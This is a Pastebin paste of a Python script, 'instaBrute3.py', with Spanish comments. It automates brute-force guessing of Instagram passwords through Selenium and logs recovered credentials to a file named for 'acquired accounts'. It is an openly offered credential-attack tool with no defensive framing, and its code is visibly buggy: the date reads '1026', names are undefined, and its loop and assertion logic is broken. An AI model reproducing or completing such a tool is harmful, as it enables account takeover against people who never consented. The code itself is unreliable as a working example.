Advertisement
Guest User

instaBrute3.py

a guest
Aug 5th, 2016
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.20 KB | None | 0 0
  1. #Agosto, 5 del 1026
  2.  
  3. import sys
  4. import optparse
  5. from selenium import webdriver
  6. from selenium.webdriver.common.keys import Keys
  7. from time import sleep
  8.  
  9. driver = webdriver.Firefox()
  10. usuario = []
  11.  
  12. class alpha:
  13.  
  14.     def __init__(self,usuarios,contrasenas,delay):
  15.         self.delay = delay
  16.         usuarios = open(usuarios.txt)
  17.         contrasenas = open(contrasenas.txt)
  18.         usuario = usuarios.readlines()
  19.         contrasena = contrasenas.readlines()
  20.  
  21.     def brute(usuarios,contrasenas,delay):
  22.         for usuario in usuarios:
  23.             usuario = usuarios.readline()
  24.             for contrasena in contrasenas:
  25.                 try:
  26.                     driver.delete_all_cookies()
  27.                     driver.get("http://www.instagram.com/accounts/login")
  28.                     usuario = usuarios.readline()
  29.                     contrasena = contrasena.readline()
  30.                     print ('Intentando con la contrasena: ' + contrasena)
  31.                     elem = driver.find_element_by_name("username")
  32.                     elem.clear()
  33.                     elem.send_keys(usuario)
  34.                     elem = driver.find_element_by_name("password")
  35.                     elem.clear()
  36.                     elem.send_keys(contrasena)  
  37.                     elem.send_keys(Keys.RETURN)
  38.                     sleep(delay)
  39.                     assert (("Login" or "Iniciar sesion" or "registrarse") not in driver.title)
  40.                     assert (("Your username or password was incorrect" or "son incorrectos." or "es incorrecta") not in driver.page_source)
  41.                 except AssertionError:
  42.                     print ('Parece ser que la contrasena de ' +usuario+ ' es: ' + contrasena)
  43.                     try:
  44.                         f = open('cuentasAdqueridas.txt','a')
  45.                     except:
  46.                         f = open('cuentasAdqueridas.txt','w')
  47.                     f.write('username:'+usuario+'\npassword:'+contrasena+'\n')
  48.                     f.close()
  49.                     driver.delete_all_cookies()
  50.  
  51.     usuarios = open('usuarios.txt','r')
  52.     contrasenas = open('contrasenas.txt','r')
  53.     usuarios = []
  54.     contrasenas = []
  55.     delay = 3
  56.     brute(usuarios,contrasenas,delay)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement